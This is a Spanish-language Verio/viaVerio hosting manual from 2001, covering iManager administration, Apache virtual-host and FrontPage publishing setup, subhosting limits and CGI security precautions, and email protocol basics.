Mover archivos 1. 2. 3. Seleccione un archivo o directorio Cliquee en Renombrar (Mover) Archivo o Renombrar (mover) Directorio Ingrese la ruta y el nombre de la nueva ubicacin del archivo o directorio y cliquee en Aceptar

Cambiar permisos
iManager le permite cambiar los permisos de acceso a un archivo o directorio. Los pasos son: 1. 2. 3. Seleccione un archivo o directorio Cliquee en Cambiar Permisos Seleccione los permisos para el archivo o directorio y luego elija aceptar o no los cambios.

Nota: Si no sabe bien el tipo de permiso que necesita para un archivo o directorio, entonces no los cambie.

Subir nuevos archivos al Servidor Virtual


Usted puede usar iManager para subir un archivo de la computadora local al Servidor Virtual sin necesidad del programa FTP. Subir un archivo al Servidor Virtual 1. 2. Navegue al directorio en el que desea subir los archivos. Ingrese el nombre de archivo que desea subir y su ubicacin en la computadora local, o cliquee en el botn Browse... para ubicar el archivo localmente. Puede cargar un mximo de cuatro archivos por vez, pero esta modalidad puede cambiarse en las Preferencias. Despus de seleccionar el archivo, cliquee en Subir Archivo

3.

Captulo 2: Administracin del Servidor Virtual con iManager


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

57

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Crear directorios
Dentro de iManager, usted puede agregar un nuevo directorio al Servidor Virtual bajo el directorio de trabajo actual. Crear un directorio nuevo 1. 2. 3. Cliquee en Crear Directorio Nuevo Especifique la ruta y el nombre del nuevo directorio Cliquee en Crear Directorio Nuevo

Administrador de Correo
iManager le da la capacidad de administrar su cuenta de correo electrnico, permitindole verificar mensajes nuevos, escribir mensajes o cambiar una carpeta de correo. Verificar mensajes Desde la pantalla de iManager, cliquee en Administrador de Correo y ver la siguiente informacin: 1. 2. 3. Carpeta de correo actual Mensajes totales Tamao de la carpeta de correo

Cambiar la ubicacin de una carpeta de correo 1. 2. 3. Cliquee en Cambiar de Carpeta bajo Administrador de Correo. Escriba la nueva ubicacin de la carpeta de correo. Cliquee en Aceptar.

Escribir un mensaje nuevo 1. 2. 3. Desde Administrador de Correo, cliquee en Nuevo Mensaje Complete los campos correspondientes y escriba su mensaje. Cliquee en Enviar.

Configuracin - Herramientas y Ayudantes


Herramientas y Ayudantes le da al usuario la capacidad de administrar usuarios, alias, virtmaps y spammers.

Administrar usuarios
iManager permite administrar los usuarios a travs de un navegador web utilizando su conjunto de Herramientas y Ayudantes, para agregar, editar, quitar o visualizar usuarios.

Captulo 2: Administracin del Servidor Virtual con iManager


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

58

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Agregar usuarios 1. 2. Desde la pantalla Configuracin de iManager, cliquee en Agregar en Usuarios. Tendr que ingresar la siguiente informacin: o o o o 3. 4. Usuario Clave Directorio raz Privilegios y Lmite de espacio

Cliquee en Aceptar para agregar el usuario. Cliquee en Actualizar para rehacer la Base de Datos

Modificar un usuario 1. 2. 3. Desde la pantalla Configuracin de iManager, cliquee en Modificar en Usuarios. Seleccione el usuario que desea modificar y cliquee en Seleccionar Usuario Ingrese la siguiente informacin: o o o o 4. 5. Usuario Clave Directorio raz Privilegios y Lmite de espacio

Cliquee en Aceptar para editar el usuario. Cliquee en Actualizar para rehacer la Base de Datos.

Administrar los alias


Usted puede configurar el Servidor Virtual para que reenve a uno o ms destinatarios un correo electrnico enviado a una direccin especfica. Tambin puede reenviar un mensaje de correo electrnico a un programa de procesamiento especial de auto-respuesta. Agregar un alias 1. 2. 3. Desde la pantalla Configuracin, cliquee en Agregar en Alias. Agregue el nombre y la definicin de alias de correo electrnico. Cliquee en Aceptar para agregar el alias.

Modificar un alias 1. 2. 3. 4. Desde la pantalla Configuracin, cliquee en Modificar en Alias. Seleccione el alias que va a modificar y cliquee en Seleccionar Alias. Ingrese el nombre y la definicin de alias que desea usar. Cliquee en Aceptar para ingresar el alias editado.

Captulo 2: Administracin del Servidor Virtual con iManager


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

59

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Eliminar un alias 1. 2. 3. Desde la pantalla de Configuracin, cliquee en Borrar en Alias. Seleccione el alias de correo electrnico que desea quitar y cliquee en Seleccionar Alias. Cliquee en S, Elimnelas para confirmar la operacin.

Ver todos los alias Para ver todos los alias, cliquee en Ver.

Virtmaps
Los virtmaps o la asignacin de direcciones virtuales, son similares a los alias pero adaptada especficamente a los dominios virtuales que pueden configurarse en el Servidor Virtual. Los virtmaps sirven para resolver posibles conflictos de entrega entre uno o ms nombres de dominio. Por ejemplo, los virtmaps son necesarios cuando existen dos direcciones como webmaster@dominiovirtual1 y webmaster@dominiovirtual2. La utilizacin de virtmaps hace que los correos se entreguen en dos direcciones separadas en lugar de una. Agregar Virtmaps 1. 2. 3. Desde la pantalla Configuracin, cliquee en Agregar en Virtmaps. Ingrese la direccin de correo electrnico virtual y luego la real. Cliquee en Aceptar para agregar el Virtmap.

Modificar Virtmaps 1. 2. 3. 4. Desde la pantalla Configuracin, cliquee en Modificar en Virtmaps. Ilumine el Virtmap que va a modificar y cliquee en Seleccionar Virtmaps. Ingrese la direccin de correo electrnico virtual y luego la real que desea editar. Cliquee en Aceptar para editar el Virtmap.

Borrar Virtmaps 1. 2. 3. Desde la pantalla Configuracin, cliquee en Borrar en Virtmaps. Seleccione el Virtmap que va a quitar y cliquee en Seleccionar Virtmaps. Confirme la operacin.

Ver todos los Virtmaps Desde la pantalla Configuracin, cliquee en Ver en Virtmaps para ver la lista completa.

Spammers
Es posible configurar el Servidor Virtual para bloquear los correos electrnicos entrantes desde algunas direcciones y/o nombres de dominio especficos. Las direcciones y/o nombres de dominio que se encuentren en el archivo spammers no podrn entregar correos a los usuarios, alias o virtmaps configurados en el Servidor Virtual.

Captulo 2: Administracin del Servidor Virtual con iManager


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

60

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Agregar Spammers 1. 2. 3. Desde la pantalla Configuracin, cliquee en Agregar en Spammers. Agregue la direccin o el nombre de dominio de spammers y cliquee en Aceptar. Cliquee en Confirmar para agregar los Spammers.

Modificar Spammers 1. 2. Desde la pantalla Configuracin, cliquee en Modificar en Spammers. Aparecer una lista de spammers. Modifique los spammers y cliquee en Aceptar Cambios.

Borrar Spammers 1. 2. 3. Desde la pantalla Configuracin, cliquee en Borrar en Spammers. Seleccione los spammers que va a eliminar y cliquee en Seleccionar Spammers. Confirme que desea quitar los Spammers seleccionados.

Ver todos los Spammers Desde la pantalla Configuracin, cliquee en Ver para ver una lista completa de los Spammers.

Preferencias
iManager le permite configurar preferencias para todos los utilitarios. Desde el men principal de Utilitarios, cliquee en Preferencias para ver una lista de las reas en las que se pueden establecer las preferencias: Preferencias Generales, Preferencias del Administrador de Archivos, Preferencias del Administrador de Correo y Preferencias de Configuracin. Preferencias Generales 1. 2. 3. Para configurar las preferencias generales, desde la ventana Preferencias, cliquee en Pref. Generales. Seleccione en qu pantalla desea que comience iManager y cunto tiempo esperar para salir del programa. Cliquee en Aceptar para ingresar los cambios.

Preferencias del Administrador de Archivos 1. 2. Desde la ventana Preferencias, cliquee en Pref. Archivos. Seleccione los cambios deseados y cliquee en Aceptar.

Preferencias del Administrador de Correo 1. 2. Desde la ventana Preferencias, cliquee en Pref. Correo. Seleccione los cambios deseados y cliquee en Aceptar.

Captulo 2: Administracin del Servidor Virtual con iManager


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

61

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Preferencias de Herramientas y Ayudantes 1. 2. Desde la ventana Preferencias, cliquee en Pref. Configuracin. Seleccione los cambios deseados y cliquee en Aceptar.

Salida
Por razones de seguridad, se recomienda finalizar la sesin cuando se termina de usar iManager. Cliquee en Salir en la parte inferior de la pantalla.

Captulo 2: Administracin del Servidor Virtual con iManager


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

62

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Informacin adicional
Si desea informacin adicional sobre los temas analizados en este captulo, consulte las siguientes pginas en el sitio web de viaVerio.

Instalacin de iManager
http://www.viaverio.com/support/addonhelp/imanager/install.html

Captulo 2: Administracin del Servidor Virtual con iManager


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

63

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Captulo 3: Servicio Virtual de Web


viaVerio usa como servidor web el Apache para el servicio virtual de web. Apache es el software de servidor HTTP (web) ms popular de la actualidad. viaVerio modific el software Apache para lograr mayor flexibilidad y capacidad, pero esencialmente es el mismo software que usted ya conoce. En el sitio web de viaVerio o en el de Apache (http://www.apache.org) usted encontrar la informacin que necesita para entender este software. Adems, el servicio virtual de web da soporte al servicio seguro de web opcional (tambin conocido como Secure Socket Layer o SSL). Si usted est realizando transacciones sensibles (como recopilacin de informacin de tarjetas de crdito) por la web, entonces necesita utilizar un web seguro. Adems, existen extensiones adicionales del servicio virtual de web, scripts CGI, pequeas aplicaciones Java y populares aplicaciones de terceros. Si desea informacin adicional, visite el sitio de viaVerio. Este captulo cubre los siguientes temas: Estructura de directorios del servicio virtual de web Publicacin de contenido Conocimientos de alojamiento virtual Cmo agregar y configurar dominios Cmo agregar dominios virtuales en httpd.conf Informacin adicional

Consulte tambin el Apndice B (Creacin de contenido web)

Captulo 3: Servicio Virtual de Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

64

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Estructura de directorios
Los archivos de configuracin del servicio virtual de web, archivos de registro, documentos HTML y scripts CGI estn todos ubicados en subdirectorios de ~/usr/local/etc/httpd. Por comodidad, el link ~/www es un atajo (link simblico) al directorio ~/usr/local/etc/httpd. En este Manual ambas se utilizan indistintamente, dado que son intercambiables. A continuacin se describe cada subdirectorio www del Servidor Virtual. Directorio cgi-bin cgi-src conf Descripcin Es el directorio predeterminado para CGI scripts. Contiene el cdigo fuente que da soporte a CGI scripts compilados en el directorio cgi-bin. Los archivos de configuracin del servidor web (httpd.conf y mime.types) que definen y controlan el comportamiento del servidor virtual de web, se almacenan en el subdirectorio conf. Contiene todos los documentos HTML y dems contenido web para publicar. Contiene varios iconos grficos que se usan cuando se muestra una lista de directorios a un navegador. Este subdirectorio incluye varios iconos predeterminados. El servicio virtual de web lleva registros detallados de cules documentos fueron solicitados y por quin. Estos registros se guardan en el subdirectorio logs. El subdirectorio support contiene algunos utilitarios que pueden serle tiles. Muchos de ellos han sido incorporados al software de servidor web Apache como mdulos. Este directorio puede eliminarse si se lo desea. El subdirectorio modules contiene mdulos que pueden agregarse dinmicamente al servidor Apache. Vea Mdulos en el Captulo 6. Contiene todos los documentos HTML y dems contenidos web para alojamiento virtual.

htdocs icons logs support

modules vhosts

Captulo 3: Servicio Virtual de Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

65

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Publicacin de contenido
Una vez que usted dise y elabor el contenido web, puede publicarlo en su Servidor Virtual. El concepto de publicacin tal como se usa en el contexto de la web, puede parecer complejo. Sin embargo, simplemente se refiere a subir contenido de su computadora local a un servidor remoto (su Servidor Virtual). Muchos paquetes de HTML vienen con capacidades de publicacin incorporadas. Esencialmente, estos paquetes usan el FTP (File Transfer Protocol) o el http (HyperText Transfer Protocol) para transmitir el contenido web de su computadora local al servidor remoto. La eleccin del programa HTML no debe basarse en el hecho de que uno puede publicar y el otro no. Usted puede publicar el contenido web en el Servidor Virtual con cualquier programa FTP disponible gratuitamente, como WS_FTP, Fetch o el programa FTP que viene con su sistema operativo. Independientemente del mtodo que use para publicar contenido web en el Servidor Virtual, la informacin que se necesita para publicar siempre es la misma: 1. 2. 3. 4. Direccin IP o nombre de dominio del Servidor Virtual Nombre de usuario Clave Ruta donde se guardar el contenido web

Todo el contenido web debe publicarse en su directorio usr/local/etc/httpd/htdocs (a menos que haya modificado el valor preconfigurado de la directiva DocumentRoot). Cuando su Servidor Virtual se configura, se crea un archivo llamado index.html que se guarda en este directorio. Esta es la pgina predeterminada que se muestra cuando se accede al sitio web con un navegador. Puede cargar su contenido web en el directorio htdocs o en cualquier subdirectorio. Si usted publica un archivo llamado test.htm en su directorio htdocs, puede acceder a ese archivo usando la siguiente URL: http://www.su_empresa.com/test.htm Del mismo modo, si usted crea un subdirectorio llamado documentos en su directorio htdocs y luego transfiere un archivo info.html a ese directorio, puede acceder a ese archivo usando la siguiente URL: http://www.su_empresa.com/documentos/info.html

Publicacin con un editor HTTP Put


Los programas de publicacin web usan distintos mtodos para cargar las pginas al Servidor Virtual. Algunos usan FTP, mientras que otros, como FrontPage, usan una variedad de http. Algunos programas como AOLPress usan el mtodo http Put para subir las pginas.

Microsoft FrontPage
viaVerio da soporte a las extensiones de servidor Microsoft FrontPage. Si nunca us Microsoft FrontPage y desea ms informacin, consulte: http://www.microsoft.com/frontpage/

Captulo 3: Servicio Virtual de Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

66

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Instalacin de extensiones FrontPage en el Servidor Virtual


A diferencia de otros programas para la publicacin web, FrontPage le exige instalar primero las extensiones FrontPage en el servidor donde va a publicar las pginas web. Se puede subir pginas web creadas en FrontPage a un servidor que no tenga las extensiones, pero no funcionarn muchas de sus caractersticas, como contadores, formularios para comentarios y barras de navegacin. Para que se luzcan todos sus esfuerzos creativos, primero instale las extensiones de servidor FrontPage y luego publique las pginas web. Los pasos para instalar las extensiones son: Instalacin de extensiones de servidor FrontPage 2000 1. 2. Conctese al Servidor Virtual con el programa SSH o Telnet. Ingrese fp2kinstall para instalar las extensiones FrontPage 2000. Siga los pasos propuestos.

Nota: Si tiene dominios o subdominios virtuales configurados en el Servidor Virtual, necesitar pasarlos al directorio ~/www/vhosts antes de instalar las extensiones FrontPage 2000.

Instalacin de extensiones de servidor FrontPage 2000 para hosts virtuales


El script fp2kinstall lee el archivo httpd.conf y detecta hosts virtuales. El script lista los dominios virtuales y le permite instalar las extensiones FrontPage para cada uno. El script fp2kinstall puede ejecutarse cada vez que se agrega un nuevo dominio virtual. El espacio en disco usado para instalar un host virtual es mnimo en comparacin con la primera instalacin (que lleva aproximadamente 13 MB).

Conexin al Servidor Virtual con FrontPage


Una vez instaladas las extensiones, FrontPage puede conectarse con el Servidor Virtual. Conexin al Servidor Virtual 1. Cliquee en Inicio | Programas | FrontPage. Vaya a Archivo | Abrir y escriba la URL completa del dominio con el que desea conectarse. (Por ejemplo, http://www.su_empresa.com). Cliquee en Abrir. En la siguiente pantalla, escriba el nombre de usuario y la clave de administrador (que son los mismos que ingres mientras ejecutaba fp2kinstall).

2. 3.

Publicacin de Webs FrontPage


En la mayora de los casos, usted preferir crear sus webs desde la computadora local en lugar de trabajar todo el tiempo conectado al Servidor Virtual. Para publicar las webs despus de crearlas, deber realizar lo siguiente:

Captulo 3: Servicio Virtual de Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

67

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Publicacin de una web FrontPage en el Servidor Virtual 1. 2. 3. 4. Cliquee en Archivo/Publicar | Web. En el casillero web FrontPage, tipee http://www.su_empresa.com. Cliquee en Publicar. Escriba su nombre de usuario y clave para la web (que publica la web).

Nota: Siempre debe usar la caracterstica de publicacin para que FrontPage pueda recalcular el sitio web para el servidor que est publicando. Cuando finaliz el proceso de publicacin, ya puede visitarse el sitio web. Si recibe mensajes de error como time-out, tal vez tenga que volver a calcular los links manualmente. Clculo manual de los links 1. 2. Conctese al Servidor Virtual a travs de Telnet. Desde la lnea de comandos, escriba:

% unlimit % virtual /usr/local/frontpage/<current_versin>/bin/fpsrvadm .exe -o recalc -p 80 -m <nombrehost> -w <web>


Nota: El comando que comienza con "virtual " se escribe en una lnea. La opcin m <nombrehost> se usa slo para dominios o subdominios virtuales. Reemplace <nombrehost> por el nombre de dominio del host virtual. Si est volviendo a calcular la web principal del Servidor Virtual, escriba " " para <nombrehost>. La opcin <web> es reemplazada por una barra / para la web raz o el nombre de la subweb. 3. 4. Desde la lnea de comandos, ingrese top para ver que el proceso fpsrvadm.exe hasta que est completo. Para salir de la sesin Telnet, ingrese exit.

Cambio del ID y clave de administrador 1. 2. 3. 4. 5. Conctese a su servidor a travs de Telnet. En la lnea de comandos, escriba:

% cd ~/www/htdocs/_vti_pvt
En la lnea de comandos, escriba:

% pico service.grp
Agregue el nuevo administrador al final de la lnea de administradores, luego guarde y salga del archivo. En la lnea de comandos, escriba (donde nuevo_id_usuario equivale al nuevo ID del administrador):

% htpasswd service.pwd nuevo_id_usuario


Si desea cambiar la clave solamente, omita los pasos 3 y 4. Puede cambiar la clave en el Explorador de FrontPage si no ha olvidado la clave anterior.

Captulo 3: Servicio Virtual de Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

68

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Comprendiendo el alojamiento virtual


El alojamiento virtual, o subhosting, es una de las caractersticas ms poderosas del Servidor Virtual de viaVerio. Con el alojamiento virtual, usted puede dar soporte a mltiples nombres de dominio en un solo Servidor Virtual. En otras palabras, puede alojar http://www.abc.com y http://www.xyz.com en el mismo Servidor Virtual, cada uno con su propio nombre de dominio. Puede dar a cada alojamiento virtual los siguientes atributos exclusivos: Su propio usuario de FTP. Acceso a su subdirectorio nicamente. Direcciones de correo electrnico con su propio nombre de dominio

Limitaciones del alojamiento virtual


El alojamiento virtual o subhosting es una gran ventaja del Servidor Virtual de viaVerio. Sin embargo, existen algunas limitaciones que es necesario conocer: Los navegadores deben ser compatibles con HTTP/1.1. Equilibrio de cargas (es posible que un dominio use ms recursos que lo que le corresponde). La direccin IP es compartida No se tiene acceso va Telnet Tiene limitaciones de correo electrnico Existen riesgos de seguridad

Compatibilidad con HTTP/1.1


Los Servidores Virtuales de viaVerio usan HTTP/1.1, que es lo que hace realidad el subhosting. Sin embargo, para ver los subhosts usted debe tener un navegador compatible con HTTP/1.1. En general, el Netscape Navigator 2.0+ y Microsoft Internet Explorer 3.0+ dan soporte a los subhosts. Cualquier otro navegador compatible con HTTP/1.1 tambin puede acceder a los servidores con subalojamiento virtual. Si el navegador es una versin anterior no compatible con HTTP/1.1, no se podrn ver sus sitios propios u otros sitios que utilizan el subalojamiento virtual.

Equilibrio de cargas del Servidor Virtual


Un Servidor Virtual es capaz de manejar de 30.000 a 50.000 hits por da (suponiendo que los hits en general solicitan alrededor de 5 Kbytes de datos). Esta cantidad no representa cantidad de visitantes, sino ms bien los hits o solicitudes de archivos. Por ejemplo, si tiene cinco nombres de dominio, cada uno tratando de satisfacer 10.000 hits por da (lo cual no es realmente demasiado si se tiene una pgina con muchos grficos; una solicitud de archivo .gif o .jpeg equivale a un hit), habr un menor rendimiento que afectar a todos los clientes en el Servidor Virtual. Cuando disminuye el rendimiento, el administrador del Servidor Virtual debe hacer lo siguiente para reducir la cantidad de subhosts en el Servidor: Actualizar uno de los sitios alojados virtualmente con trfico muy alto a un Servidor Virtual propio. Trasladar algunos sitios a otro Servidor Virtual que no consuma tantos recursos.

Captulo 3: Servicio Virtual de Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

69

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

De cualquiera de las dos formas, los administradores experimentados en el subalojamiento virtual podrn lograr un correcto equilibrio de cargas. Un Servidor Virtual slo puede alojar un nmero finito de dominios virtuales debido a las asignaciones de recursos. Los lmites para el alojamiento virtual son: A: 5 subhosts B: 25 subhosts C: 60 subhosts

Direccin de IP compartida
El subalojamiento virtual usa los recursos de un solo Servidor Virtual para satisfacer las necesidades de varios sitios web. Entre los recursos que se comparten est la nica direccin de IP asociada con el Servidor Virtual. Las araas de algunos motores de bsqueda no son compatibles con HTTP/1.1 y no pueden hacer un ndice de estos sitios. Sin embargo, la mayora de las grandes araas y motores de bsqueda ahora son compatibles con HTTP/1.1. Un Servidor Virtual slo puede dar soporte a un nico certificado digital. Esto dificulta el uso de SSL, dado que todos los subhosts deben usar el mismo certificado digital, y slo un nombre de dominio puede asociarse con un certificado digital.

Sin acceso Telnet


Un subhost virtual no tiene el acceso Telnet al Servidor Virtual. Hay varias formas de configurar el acceso al Servidor Virtual: FTP iManager FrontPage 2000

Limitaciones de correo electrnico


Existen algunas limitaciones de correo electrnico de los subdominios, es decir, en la forma en que el Servidor Virtual interpreta las direcciones de correo electrnico. Por ejemplo, si usted enva un correo a john@abc.com y john@xyz.com, el Servidor Virtual las ve como la misma direccin, porque ambos nombres de dominio se resuelven en la misma direccin de IP (john@192.41.5.2). Sin embargo, viaVerio desarroll una forma de superar esta limitacin utilizando un utilitario propietario llamado virtmaps. Consulte la seccin Creacin de Virtmaps del Captulo 4.

Riesgos de seguridad
Es importante considerar algunos de los temas de seguridad relacionados con el subalojamiento virtual. Como los subhosts virtuales operan en el mismo entorno de Servidor Virtual, los CGI scripts ejecutados por cualquier dominio virtual heredarn privilegios para acceder a cualquier directorio o archivo en la jerarqua de directorios del Servidor. Por ejemplo, un cliente subalojado malintencionado podra escribir un script simple para eliminar todos los archivos en el Servidor Virtual. Con otro script, se podran enviar los contenidos del archivo ~/etc/passwd a una direccin de correo electrnico remota para desencriptar las claves. Si su clave de login puede ser descifrada, un cliente subalojado podra robarle su acceso. Se recomienda no ofrecer acceso cgi-bin completo a los clientes virtuales subalojados a menos que sean de absoluta confianza (incluso en ese caso podran daar accidentalmente el Servidor Virtual). Recomendamos una de las siguientes alternativas: Captulo 3: Servicio Virtual de Web
COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

70

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

1. Proporcionar una librera de CGI scripts en un directorio controlado La mayora de los sitios no exigen demasiada programacin en CGI. Probablemente usted pueda brindar una librera de CGI scripts que luego puedan ser usados por sus clientes subalojados. Por ejemplo, la librera puede incluir un contador, un libro de visitas y un procesador de formularios genricos. Estos scripts se guardan en un subdirectorio de cgi-bin (por ejemplo, vhlib). Luego se configuran cada uno de los subhosts virtuales para que usen cgi-bin agregando las siguientes lneas a su definicin <VirtualHost>:

ScriptAlias /cgi-bin/ /usr/local/etc/httpd/cgibin/vhlib/


2. Configurar el directorio cgi-bin separado del directorio raz de los subhosts virtuales Otra alternativa es dar a cada uno de los clientes subalojados un cgi-bin que no sea un subdirectorio del directorio raz de cada cliente. De esta forma, los clientes no pueden cargar y ejecutar cualquier script arbitrario. En cambio, le mandan el script al administrador, quien lo revisa y luego lo instala en el directorio cgi-bin de cada uno (que puede configurarse para que sea un subdirectorio del directorio cgi-bin principal del administrador). Por ejemplo:

ScriptAlias /cgi-bin/ /usr/local/etc/httpd/cgibin/SUBDIRECTORIO/


El subdirectorio SUBDIRECTORIO pasa a ser el directorio cgi-bin para el cliente subalojado. (Es preferible usar el mismo nombre de subdirectorio para ~/www/vhosts y para ~/www/cgi-bin para mantener la prolijidad.) Es probable que, adems de brindar el servicio de alojamiento, usted tambin est diseando el contenido web y escribiendo los scripts CGI de los clientes. Tal vez este no sea el caso actualmente, pero es bueno tenerlo en cuenta por si decide ampliar el alcance de sus servicios en el futuro.

Captulo 3: Servicio Virtual de Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

71

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Cmo agregar y configurar dominios


Para agregar un dominio virtual al Servidor Virtual, realice lo siguiente: 1. 2. 3. 4. Registre el dominio. Direccione el dominio a un nombre de servidor Agregue una cuenta de usuario en el Servidor Virtual. Agregue las directivas <VirtualHost> al archivo httpd.conf.

Configuracin de un dominio en el Servidor 1. 2. 3. Ejecute vadduser. Cree una cuenta de correo electrnico / FTP. Direccione el directorio FTP a ~/usr/local/etc/httpd/vhosts/sub_host_dir seleccionando la Opcin Tres. Edite el archivo httpd.conf. Agregue una seccin <VirtualHost> para cada dominio virtual.

4. 5.

Captulo 3: Servicio Virtual de Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

72

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Cmo agregar alojamientos virtuales en httpd.conf


Para agregar un dominio virtual, debe agregar informacin al archivo httpd.conf. Cmo agregar lneas Apache en httpd.conf Desde el archivo httpd.conf, agregue lo siguiente:

# apuntar utahjrs.org al subdirectorio utahjrs <VirtualHost www.utahjrs.org utahjrs.org> ServerName www.utahjrs.org ServerAdmin webmaster@utahjrs.org DocumentRoot /usr/local/etc/httpd/vhosts/utahjrs </VirtualHost>

Configuracin de opciones adicionales para alojamientos virtuales Ejemplo de alojamiento virtual (organizacion.org)
Se agregaron las siguientes lneas:

# apuntar organizacion.org al subdirectorio utahjrs <VirtualHost www.organizacion.org organizacion.org> ServerName www.organizacion.org ServerAdmin utahjrs@organizacion.org DocumentRoot /usr/local/etc/httpd/vhosts/utahjrs TransferLog logs/utahjrs_access ScriptAlias /cgi-bin/ /usr/local/etc/httpd/htdocs/utahjrs/cgi-bin/ ErrorDocument 404 /errors/notfound.html </VirtualHost>

Captulo 3: Servicio Virtual de Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

73

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Informacin adicional
Si desea informacin adicional sobre los temas analizados en este captulo, consulte las siguientes pginas en el sitio web de viaVerio.

Configuracin del Servidor Virtual para que d soporte a HTTP Put


http://reseller.viaverio.com/reseller/backroom/white_papers/ Consulte el documento titulado Publicacin web utilizando HTTP PUT

Conocimientos de alojamiento virtual


http://www.viaverio.com/support/serverhelp/subhost/

Captulo 3: Servicio Virtual de Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

74

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Captulo 4: Servicio Virtual de Correo Electrnico


Una de las caractersticas ms populares de la Internet es el correo electrnico. Como su equivalente postal, el correo electrnico consiste en el envo de mensajes que tienen la direccin de un remitente y de uno o ms destinatarios. Sin embargo, a diferencia de la correspondencia tradicional, la electrnica se entrega en cualquier parte del mundo en cuestin de segundos y se usa para llegar a una mayor cantidad de destinatarios, reduciendo al mnimo tanto el costo como la dificultad. Resulta til comprender algunos de los trminos tcnicos empleados en referencia a los mensajes de correo electrnico intercambiados entre computadoras y por Internet. Cuando dos computadoras intercambian correos electrnicos a travs de una red, se comunican con un protocolo especial, un patrn de comunicacin prearmado, para hablarse en un mismo idioma que les permita entenderse. Este captulo trata los siguientes temas: Protocolos Software del servidor SMTP Comandos y utilitarios para administrar el correo electrnico Creacin de casillas de correo electrnico Alias de cuentas de correo electrnico Creacin de virtmaps Correos electrnicos comerciales no solicitados Mantenimiento del archivo de registros de correo electrnico Informacin adicional

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

75

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Protocolos
SMTP (Simple Mail Transfer Protocol). Es el protocolo que permite que las computadoras intercambien correos por Internet. SMTP slo se emplea para transferir y entregar correos. POP (Post Office Protocol). Es el protocolo que permite a los destinatarios recuperar los correos entrantes. IMAP (Internet Message Access Protocol). Es el protocolo que permite recuperar y tambin almacenar los mensajes recibidos.

Servidor SMTP
Para enviar y recibir correo electrnico por Internet, un servidor SMTP debe cumplir los siguientes requisitos: Debe tener una conexin a Internet continua y estar preparado para recibir correos todo el tiempo, porque los correos entrantes pueden llegar en cualquier momento del da y de la noche. Debe ser capaz de entregar los mensajes salientes de parte de una computadora que no cuenta con plena funcionalidad SMTP. Debe ser capaz de realizar retransmisiones en nombre de otras computadoras. Cuando se pide a un servidor SSMTP que entregue un mensaje en nombre de otra computadora y el destinatario no es un usuario local del sistema, el servidor SMTP debe retransmitir el mensaje al servidor de destino.

Servidor POP
Un servidor POP permite a los destinatarios de correo electrnico bajar a sus propias computadoras los mensajes recibidos. Una vez que los mensajes son recuperados por los destinatarios, no pueden devolverse o guardarse en el servidor.

Servidor IMAP
Un servidor IMAP permite a los usuarios recuperar y almacenar mensajes (a diferencia de un servidor POP). Los usuarios pueden enviar los mensajes de ida y vuelta al servidor IMAP, porque tanto los directorios de correo como los mensajes se guardan directamente en el servidor. El protocolo IMAP es muy til para las personas que verifican sus correos desde computadoras diferentes.

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

76

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Software del servidor SMTP


